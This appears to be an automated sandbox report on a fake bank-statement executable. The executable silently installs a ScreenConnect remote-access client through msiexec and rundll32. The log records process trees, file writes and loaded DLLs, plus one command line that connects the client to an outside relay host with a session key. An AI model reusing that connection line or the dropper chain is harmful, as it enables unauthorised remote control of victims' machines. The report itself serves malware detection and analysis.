Source: 2024-11 eStmt 5563019.exe, 00000000.00000000.1703130673.00000000005C6000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameScreenConnect.WindowsInstaller.dll< vs 2024-11 eStmt 5563019.exe
Source: 2024-11 eStmt 5563019.exe, 00000000.00000002.1725970611.0000000005630000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameScreenConnect.WindowsInstaller.dll< vs 2024-11 eStmt 5563019.exe
Source: 2024-11 eStmt 5563019.exe Binary or memory string: OriginalFilenameScreenConnect.Core.dll< vs 2024-11 eStmt 5563019.exe
Source: 2024-11 eStmt 5563019.exe Binary or memory string: OriginalFilenamelibwebp.dllB vs 2024-11 eStmt 5563019.exe
Source: 2024-11 eStmt 5563019.exe Binary or memory string: OriginalFilenamezlib.dll2 vs 2024-11 eStmt 5563019.exe
Source: 2024-11 eStmt 5563019.exe Binary or memory string: OriginalFilenameScreenConnect.Windows.dll< vs 2024-11 eStmt 5563019.exe
Source: 2024-11 eStmt 5563019.exe Binary or memory string: OriginalFilenameScreenConnect.WindowsInstaller.dll< vs 2024-11 eStmt 5563019.exe
Source: 2024-11 eStmt 5563019.exe Binary or memory string: OriginalFilenameScreenConnect.InstallerActions.dll< vs 2024-11 eStmt 5563019.exe
Source: 2024-11 eStmt 5563019.exe Binary or memory string: OriginalFilenameSfxCA.dllL vs 2024-11 eStmt 5563019.exe
Source: 2024-11 eStmt 5563019.exe Binary or memory string: OriginalFilenamewixca.dll\ vs 2024-11 eStmt 5563019.exe
Source: 2024-11 eStmt 5563019.exe Binary or memory string: OriginalFilenameScreenConnect.ClientInstallerRunner.exe< vs 2024-11 eStmt 5563019.exe
Source: 2024-11 eStmt 5563019.exe Binary or memory string: OriginalFilenameDotNetResolver.exe4 vs 2024-11 eStmt 5563019.exe
Uses 32bit PE files
Source: 2024-11 eStmt 5563019.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: 0.2.2024-11 eStmt 5563019.exe.5580000.1.raw.unpack, BlockBufferStream.cs Cryptographic APIs: 'TransformBlock'
Source: 0.0.2024-11 eStmt 5563019.exe.5c63d8.4.raw.unpack, BlockBufferStream.cs Cryptographic APIs: 'TransformBlock'
Source: 0.0.2024-11 eStmt 5563019.exe.647fd8.3.raw.unpack, WindowsToolkit.cs Cryptographic APIs: 'CreateDecryptor'
Source: 0.0.2024-11 eStmt 5563019.exe.5c63d8.4.raw.unpack, FileSystemExtensions.cs Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.0.2024-11 eStmt 5563019.exe.5c63d8.4.raw.unpack, FileSystemExtensions.cs Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 0.0.2024-11 eStmt 5563019.exe.647fd8.3.raw.unpack, WindowsExtensions.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.2024-11 eStmt 5563019.exe.5580000.1.raw.unpack, FileSystemExtensions.cs Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.2024-11 eStmt 5563019.exe.5580000.1.raw.unpack, FileSystemExtensions.cs Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: classification engine Classification label: mal46.evad.winEXE@17/53@1/1
Source: C:\Windows\System32\msiexec.exe File created: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7) Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\2024-11 eStmt 5563019.exe.log Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Mutant created: NULL
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Mutant created: \BaseNamedObjects\Global\netfxeventlog.1.0
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe File created: C:\Users\user\AppData\Local\Temp\ScreenConnect Jump to behavior
Source: 2024-11 eStmt 5563019.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 2024-11 eStmt 5563019.exe Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\AppData\Local\Temp\MSI4E28.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_6377093 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
Source: 2024-11 eStmt 5563019.exe ReversingLabs: Detection: 25%
Source: 2024-11 eStmt 5563019.exe Virustotal: Detection: 26%
Source: 2024-11 eStmt 5563019.exe String found in binary or memory: $F294ACFC-3146-4483-A7BF-ADDCA7C260E2
Source: 2024-11 eStmt 5563019.exe String found in binary or memory: $F294ACFC-3146-4483-A7BF-ADDCA7C260E2)
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe File read: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe "C:\Users\user\Desktop\2024-11 eStmt 5563019.exe"
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\Temp\ScreenConnect\d519fd2fdcfe66e7\setup.msi"
Source: unknown Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 4AED0F1D3607922BE2F1EC6832F9BAE3 C
Source: C:\Windows\SysWOW64\msiexec.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\AppData\Local\Temp\MSI4E28.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_6377093 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
Source: C:\Windows\System32\msiexec.exe Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding A5BF5D09ED87785AFA67BD755C799625
Source: C:\Windows\System32\msiexec.exe Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 68F89B22406E06E7C28E4AD1705B01FD E Global\MSI0000
Source: unknown Process created: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe "C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=bw36back93.site&p=8880&s=e250a80a-96da-47fd-91f2-1c092bc9b1b7&k=BgIAAACkAABSU0ExAAgAAAEAAQBVrCWSt%2b2cKthNAS8WCpzwBkW7gylKQJ6RDxIjHv%2fRvikga3OHVBUUk74eX5u2WDvyGlxXUsTAHstE3Rks8Zw%2f5nMdMDz%2ffz%2fdADWqNvA27WRDTbgEuKYVImg%2bRuQTeYBssAlSkC71PJ4gqNaRdbnySWnXqNuCohB8XKd6MUQapUfc4DXF0e7EWF1onYtP%2bZz6ui1%2fvm3P0miTphdoOYDPJyJmnFL6AS3%2bEi4fXJkHoPDDjsiShDMOBGrn%2bwsLLVTQZCpIQElO7sxadYkptz0t1JF7bRKqG2Z6vshgz%2fal71%2fFvdI1kgsL2h5jLyMZgmq6EW%2fOzhQCdP4oY8SDbMW0&c=SV&c=11-11%20NEWP&c=&c=&c=&c=&c=&c="
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Process created: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe "C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe" "RunRole" "be299499-1fb7-4c2b-ae20-2cc88daa91a5" "User"
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Process created: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe "C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe" "RunRole" "8321ee3f-595b-4e66-bca9-df29533298fb" "System"
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\Temp\ScreenConnect\d519fd2fdcfe66e7\setup.msi" Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 4AED0F1D3607922BE2F1EC6832F9BAE3 C Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding A5BF5D09ED87785AFA67BD755C799625 Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 68F89B22406E06E7C28E4AD1705B01FD E Global\MSI0000 Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\AppData\Local\Temp\MSI4E28.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_6377093 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Process created: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe "C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe" "RunRole" "be299499-1fb7-4c2b-ae20-2cc88daa91a5" "User" Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Process created: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe "C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe" "RunRole" "8321ee3f-595b-4e66-bca9-df29533298fb" "System" Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: aclayers.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: msi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: srpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: tsappcmp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: msihnd.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: pcacli.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: aclayers.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: msi.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: tsappcmp.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: srclient.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: spp.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: vssapi.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: vsstrace.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: pcacli.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: cabinet.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: aclayers.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: msi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: cabinet.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: aclayers.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: msi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: aclayers.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: msi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: version.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: version.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: samcli.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: samlib.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: version.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Section loaded: rsaenh.dll Jump to behavior
